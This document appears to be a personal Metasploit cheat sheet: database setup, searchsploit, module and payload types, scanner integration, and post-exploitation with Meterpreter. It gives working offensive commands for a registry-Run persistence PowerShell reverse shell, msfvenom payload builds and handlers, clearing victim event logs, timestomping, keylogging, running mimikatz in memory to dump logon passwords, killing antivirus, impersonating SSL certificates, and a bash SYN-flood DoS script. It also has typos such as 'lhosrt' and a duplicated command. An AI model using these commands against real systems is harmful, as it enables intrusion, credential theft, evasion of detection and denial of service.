⭕Metasploit

Database

create a new db for a project with postgresql.

# systemctl start postgresql
# su postgres
$ createuser --interactive msf_user -P

    Enter password for new role: 
    Enter it again: 
    Shall the new role be a superuser? (y/n) n
    Shall the new role be allowed to create databases? (y/n) n
    Shall the new role be allowed to create more new roles? (y/n) n

$ createdb --owner=msf_user msf_database
$ exit

initiate the database before starting msfconsole

msf> db_connect msf_user:[PASSWORD]@127.0.0.1:5432/msf_database
msf> workspace -a [metasploitable2]

Searchsploit

Sometimes Metasploit and ExploitDB don't share the same database, its also possible that you find some exploits that are not ported to metasploit modules. so its a good practice to search for exploits in both of theme.

Easy Searchsploit

search for exploits from nmap XML output.

searchsploit --nmap *.xml 

Exclude Something

searchsploit <search string> | grep -v '/dos/'

Search Only in Exploit Title

searchsploit -t <search string> --colour

Metasploit Modules

located in /usr/share/metasploit-framework/modules/

exploits

modules that use payloads

located in /usr/share/metasploit-framework/modules/exploits/

auxiliary

include port scanners, fuzzers, sniffers, and more

located in /usr/share/metasploit-framework/modules/auxiliary

Payloads, Encoders, Nopes

payloads are codes that run remotely

located in /usr/share/metasploit-framework/modules/payloads

encoders ensure that payloads make it to their destination intact

located in /usr/share/metasploit-framework/modules/encoders

Nopes keep the payload sizes consistant across exploit attempts

located in /usr/share/metasploit-framework/modules/nops

Loading Additional Module Trees

we can add additional modules either at runtime or after msf starts. -m will tell msf to load additional modules at runtime:

msfconsole -m  ~/new-modules/

for adding after msf start:

msf> loadpath /path/to/modules

General Commands

move out of module

back

display random banner

banner

check an exploit before running it (not for all)

check

disable/enable console color (for old and dummy terminals)

color -h

remote connect to a machine

connect -h

edit the loaded module

edit

search for modules

search -h (grep enabled)

info about a module

info [module]

live ruby interpreter shell

irb

manage jobs

jobs -h

kill a module or job

kill [num]

load/unload a plugin

load/unload [plugin]

load a third party module

loadpath [path/to/module]

run resource(batch) files

resource [file] u

useful in karmetasploit attacks and alone batch files can speedup a test by automating tasks

route sockets through a session or command

route -h

show/select active sessions

sessions -l

sessions [num]

set/unset options

set

unset

set/unset global variables

setg [name] [value]

unsetg

save state

save

show available options/modules

show options

show targets

show adanced

show payloads

show exploits

show auxiliary

show encoders

show nops

show evation

run and send an exploit to background

exploit -j

Types of Exploits

Active Exploits

• will exploit a specific host, run until complition and then exit.

• bruteforce modules

• stop on errors

• can be forces to background with -j

Passive Exploit

• wait for incoming host connections and exploit them as they connect

• almost always focus on clients such as web browsers, FTP clients, etc.

• can be used in conjunction with email exploits

• waiting for connections

• report shells as they happen

• can be enumerated by passing -i to the sessions command.

Types of Payloads

singles

• standalone and self-contained

• can be caught with non-metasploit handlers such as netcat

• sent and executed in a single part at one time

stagers

• the payload comes in 2 parts, the first and the second stage

• the first stage is small and is purpose is to download and run the second stage

• the second stage is the main part of the payload with the important functionalities

• designed to be used when size matters, small and reliable

• usually more stable than a large single payload.

inline (non-staged)

• a single payload

• containing the exploit and shellcode

• more stable than staged

meterpreter

• short for meta-interpreter

• advanced multi-function payload that operates via dll injection

• resides completely on the memory of victim machine (doesn't touch the disk at all)

• very difficult to detect

• scripts and modules can be loaded and unloaded

Passivex

• can help in circumventing restrictive outbound firewalls

• uses an activeX control to create a hidden instance of internet explorer and communicates with the attacker over HTTP protocol

Nonx

• NX (no execute) bit is a feature built into some CPUs to prevent code from executing in certain areas of memory

• in windows NX is implemented as data execution prevention (DEP)

• nonx payloads circumvent DEP

ORD

• windows stager based payloads

• it works on every flavor and language of windows dating back to windows 9x without the explicit definition of a return address

• extremely tiny, it relies on the fact that ws2_32.dll is loaded in the process being exploited before exploited.

• a bit less stable than other stagers

reflective DLL injection : a technique wherby a stage payload is injected into a compromised host process running in memory.never touching the memory VNC and meterpreter use it.

Integration with nmap

# run nmap with db_nmap command
# all results will be saved in your database
msf5 > db_nmap

# example:
db_nmap -sV -p- -A -T4 --version-intensity 9 -Pn -n 192.168.56.102

Integration with Nessus

install and run nessus:

systemstcl start nessusd.service

load nessus in msfconsole:

msf5> load nessus
msf5> nessus_help

connect to nessus host (can be remote):

nessus_connect NessusUser:NessusPassword@127.0.0.1 ok

nessus commands:

nessus_policy_list  >>> list all policies

nessus_scan_new [uuid of policy]  >>> start new scan

nessus_scan_list >>> show list of current running scans

nessus_scan_details [num] >>> check an scan status

nessus_db_import [num] >>> import scan results to msf

after importing results to msf we can use msf DB commands to search for vulns and services:

hosts
services

Integration with OpenVAS

install and run openvas:

gvm-start
load opencas
openvas_help
help openvas

connect to host:

openvas_connect admin 1983 127.0.0.1 9390 ok  

openvas commands:

openvas_config_list >>> copy the config id you want

openvas_target_create metasploitable 192.168.56.102 metasploitable  >>> create a target for a new task

 openvas_task_create metasploitabe2 "metasploitable2" [config id] [target id]  >>> create a task
 
 openvas_task_list >>> show  tasks
 
 openvas_task_start [id] >>> start task

Load All Post Modules

load espia extapi incognito kiwi lanattacks peinjector powershell priv python sniffer stdi unhook winpmem

Pivoting & Forwarding

see Metasploit pivoting section.

Route Traffic over Tor

apt install tor

edit tor config /etc/tor/torrc uncomment following lines:

HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 10.17.0.5:9999

change the hiddenserviceport ip address from 127.0.0.1 to your private ip and local port 80 to 9999

service tor start 
or
tor

find your tor hidden service hostname

cat /var/lib/tor/hidden_service/hostname

create a payload with msfvenom and set the lhost to the union address and append .link to it:

in listener set lhost to your local ip address:

run the attack:

using tor is extremely slow ad your session may timeout, play around with timeout values.

Logging

every command will be logged in a file named console.log in ~/.msf4/logs

se consolelogging true

Auto Persistence

run persistence –A –L [directory to put payload] -X [connection attempt intervals/sec]  –p [attacker port] –r [attaacker ip]

-A for auro starting listener
-X for starting at reboot
 
# for help:
run persistance -h 
#run persistence –A –L c:\\ -X 30 –p 443 –r 192.168.1.113

Clear Victim System Logs

(system, security & application logs)

clearev

Execute Commands Directly From Memory

The executable file can be on attacker side since meterpreter is running completely in memory, we can execute remote binaries directly in memory.

execute -h

example:

execute mimikatz directly from memory(binary is on attacker side):

migrate -N lsass.exe
execute -H -i -c -m -d calc.exe -f /usr/share/windows-resources/mimikatz/x64/mimikatz.exe

adding command parameters( -a)

execute -H -i -c -m -d calc.exe -f /usr/share/windows-resources/mimikatz/x64/mimikatz.exe -a '"sekurlsa::logonpasswords" exit'

Multiple Connection Channels

example:

open notepad app in a different channel

execute -f notepad.exe -c

list channels

channel -l 

read/write data to a channel

write [option] [channel id]
read

Change File Timestamp

modify the date and time of file and folder modification and access

timestomp -h

# list the value of MACE (modified-accessed-created-entry)
timestomp /path/to/file -v 

# change the creation time
 timestomp /path/to/file -c  "05/25/2020 01:01:01"
 
 #  change last access time
  timestomp /path/to/file -a  "05/25/2020 01:01:01" 
  
 # change the last modify time
  timestomp /path/to/file -m  "05/25/2020 01:01:01"

Process Migration

migrate -h
 migrate [pid]
 migrate -N [process name]

Keylogger

migrate to explorer.exe (for better performance)

keyscan_start
keyscan_dump
keyscan_stop

Dig Info and Enumeration

net info, pass hashes, registry, etc.

run scraper   
run winenum

Interact with the Registry

reg -h

example:

set a registry to run powershell reverse shell whenever the user logs in:

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v -Power -d "powershell -ep bypass -c $client = New-Object System.Net.Sockets.TCPClient('192.168.56.1',9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Timeout Control

get_timeouts

#  set communication timeout to 900 secs
set_timeouts -c 900

Sleep Control

makes current meterpreter session go to sleep for specific period of time and wake up again.

sleep
sleep 10 # sleep for 10 secs

Transports

Once Meterpreter shellcode has been run; whether from a phish, or some other means, it will reach out to the attacker’s Command and Control (C2) server over some network transport, such as HTTP, HTTPS or TCP. However, in an unknown environment, a successful connection is not guaranteed: firewalls, proxies, or intrusion prevention systems might all prevent a certain transport method from reaching out to the public Internet.Repeated trial and error is sometimes possible, but not always. For a phish, clicks come at a premium. Some exploits only give you one shot to get a shell, before crashing the host process. Meterpreter has the ability to have multiple “transports” in a single implant. A transport is the method by which it communicates to the Metasploit C2 server: TCP, HTTP, etc. Typically, Meterpreter is deployed with a single transport, having had the payload type set in msfvenom or in a Metasploit exploit module (e.g. meterpreter_reverse_http).

But after a connection has been made between the implant and the C2 server, an operator can add additional, backup transports. This is particularly useful for redundancy: if one path goes down (e.g. your domain becomes blacklisted), it can fall back to another.

A transport is defined by its properties:

• The type of transport (TCP, HTTP, etc.)

• The host to connect to

• The port to connect on

• A URI, for HTTP-based transports

• Other properties such as retry times and timeouts

Once a Meterpreter session has been set up, you can add a transport using the command transport add and providing it with parameters (type transport to see the options).

By setting up multiple transports in this initialisation script, Meterpreter will try each of them (for a configurable amount of time), before moving on to the next one.

To do this:

Create a stageless meterpreter payload, which pre-loads the PowerShell extension. The transport used on the command line will be the default Include a PowerShell script as an “Extension Initialisation Script” (parameter name is extinit, and has the format of ,). This script should add additional transports to the Meterpreter session. When the shellcode runs, this script will also run If the initial transport (the one specified on the command line) fails, Meterpreter will then try each of these alternative transports in turn.

in AddTransports.ps1 :

Add-TcpTransport -lhost <host> -lport <port> -RetryWait 10 -RetryTotal 30
Add-WebTransport -Url https://<host>:<port>;-RetryWait 10 -RetryTotal 30
Add-WebTransport -Url http://<host>:<port>;-RetryWait 10 -RetryTotal 30

The command line for this would be:

msfvenom -p windows/meterpreter_reverse_tcp lhost=<host> lport=<port> sessionretrytotal=30 sessionretrywait=10 extensions=stdapi,priv,powershell extinit=powershell,/home/ionize/AddTransports.ps1 -f exe

Some got chas to be aware of:

• Make sure you include the full path to the extinit parameter (relative paths don’t appear to work)

• Ensure you configure how long to try each transport before moving on to the next.

• RetryWait is the time to wait between each attempt to contact the C2 server

• RetryTotal is the total amount of time to wait before moving on to the next transport

• Note that the parameter names for retry times and timeouts are different between the PowerShell bindings and the Metasploit parameters themselves:

  • in the PowerShell extension, they are RetryWait and RetryTotal; in Metasploit they are SessionRetryWait and SessionRetryTotal (a tad confusing, as they relate to transports, not sessions)

Manually Creating Transport in Meterpreter Session

transport add -t [transport type, i.e: reverse_https] -l [lhost] -p [lport] -T [retry total time] -W [retry wait] -C [comm timeout] 
transport add -l 192.168.56.1 -p 7878 -t reverse_https -T 3000 -W 10 -C 1000000

to move to another transport background the current session and run the right payload with options same as the target transport and wait for connection.

once you have more than one transfport its safe to use this command to move between transports:

transport next
transport prev

Enable RDP

enable RDP on victim machine use rdesktop to connect

run getgui -e

Script Automation

put the meterpreter commands in a .rc file setup meter and set the autorun script path:.

example:

migrate o explorer.exe and dump system credential

set AutoRunScript  /root/autoruncommands.rc

migrate -N explorer.exe
getsystem
run post/windows/manage/killav
run post/windows/gather/checkvm
getuid

we can automate the whole thing too.

For example, using a standard editor, we will create a script in our home directory named setup.rc. In this script, we will set the payload to windows/meterpreter/reverse_https and configure the relevant LHOST and LPORT parameters. We also enable stage encoding using the x86/shikata_ga_nai encoder and configure the post/windows/manage/migrate module to be executed automatically using the AutoRunScript option. This will cause the spawned meterpreter to automatically launch a background notepad.exe process and migrate to it. Finally, the ExitOnSession parameter is set to “false” to ensure that the listener keeps accepting new connections and the module is executed with the -j and -z flags to stop us from automatically interacting with the session. The commands for this are as follows:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.11.0.4
set LPORT 443
set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai
set AutoRunScript post/windows/manage/migrate
set ExitOnSession false
exploit -j -z

sudo msfconsole -r setup.rc

With the listener configured and running, we can, for example, launch an executable containing a meterpreter payload from our Windows VM. We can create this executable with msfvenom :

msfvenom -p windows/meterpreter/reverse_https LHOST=10.11.0.4 LPORT=443 -f exe -o met.exe

When executed, our multi/handler accepts the connection

we can specify scripts manually after getting a session:

meterrpreter> resource script.rc

Bash Automation

we can write bash scripts to automate the tasks: example: a dos attack.

 #!/bin/bash
 TARGET
 echo " Choose who to DDoS (IP address ONLY), use nslookup < URL> to get IP address"
 read TARGET
 msfconsole -q -x "use auxiliary/dos/tcp/synflood;set RHOST $TARGET; exploit;

Payloads with Trusted SSL Certificates

configure a domain in zinitiative.com and use lets enrypt to get a certificate after configuring the domain DNS servers to point to the digitalocean droplet getting a certificate with lets encrypt is very simple.

first install letsencrypt:

apt install lets encrypt -y

generate a cert

letsencrypt cartonly --manual -d zinitiative.com

we should have a cert under /etc/letsencrypt/live/zinitiative.com directroy

before we can move on we will have to creare a unified file containng privkey.pem and cert.pem:

cd /etc/letsencrypt/live/zinitiative.com 
cat privkey.pem cert.pem >> /root/unified.pem

now in msfconsole set the cert

set lhost zinitiative.com
set lport 443
set handlersslcert /root/unified.pem
set stagetverifysslcert true
set enablestageencoding true
run

Using Payloads with HTTP SSL

use auxiliary/gather/impersonate_ssl

# we use symantec websit as an example:
set rhost www.symantec.om
run

we have the cert now create a payload using the cert:

msfvenom -p windows/meterpreter/reverse_tcp lhosrt=1.2.3.4 lport=1234 handlersslcert=/root/.msf5/loot/fsdvd/cert.pem stagerverifysslcert=true -f exe -o payload.exemsfvenom -p windows/meterpreter/reverse_tcp lhosrt=1.2.3.4 lport=1234 handlersslcert=/root/.msf5/loot/fsdvd/cert.pem stagerverifysslcert=true -f exe -o payload.exe

in handler setting:

set handlersslcert [file.pem]
set stagerverifysslcert true
run